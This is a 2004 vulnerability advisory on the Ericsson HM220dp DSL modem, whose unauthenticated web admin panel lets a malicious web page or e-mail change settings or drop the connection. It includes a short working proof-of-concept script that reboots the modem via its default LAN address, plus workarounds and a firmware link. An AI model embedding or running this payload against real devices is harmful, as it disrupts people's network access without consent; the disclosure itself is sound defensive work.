DSL Modem Ericsson HM220dp Exploit
SYSTEMS AFFECTED ========
DSL Modem Ericsson HM220dp
CONTENTS =========
Subject: DSL Modem Ericsson HM220dp Exploit
Date: February 22, 2004
Risk: Moderate
DESCRIPTION =========
This is the natural consequence of the following security flaw:
http://www.secunia.com/advisories/8057/
http://www.securityfocus.com/bid/6824/info/
The Ericsson HM220dp DSL modem/router provides no authentication for his Web
Administration panel.
So, a malicious user can access the panel and change settings on a local
network.
I discovered another serious implication of this bug: the vulnerability can be
exploited also throughout a web page, this means that a script contained in a
malicious web site (or e-mail) can modify the modem configuration; is also
possible to interrupt the modem connection.
DETAILS =========
This is a proof-of-concept:
[script]
function exploit(){
window.location = "view-source:http://192.168.254.254/dummy.html?reboot=1";;
}
[/script]
[input type="button" value="disconnect" onClick="exploit();"]
WORKAROUNDS ========
By changing the modem's default IP address (192.168.254.254) the exploit cannot
work. In order to patch the flaw Ericsson also provided the following update:
http://www.wii.ericsson.net/xdslterminals/files/CXC_132_2094-R3F.exe
http://www.wii.ericsson.net/xdslterminals/files/Readme_Instruction_HowTo_update.txt
DISCLAIMER ========
These informations are supplied for educational purpose only.
The author is not liable for the direct or indirect use of these
informations, which can't be used in order to modify or interrupt the
operations of informatic systems.
LEGAL NOTICE ========
This advisory is Copyright (c) 2004 Roberto Dapino.
It can be reproduced without the author's written permission
only if unmodified.
CREDITS =========
Vulnerability found by Roberto Dapino, Italy.
roberto(at)xdesign.it - - www.stormvision.it
Special thanks to: Johan Kölhi, Ericsson Broadband Access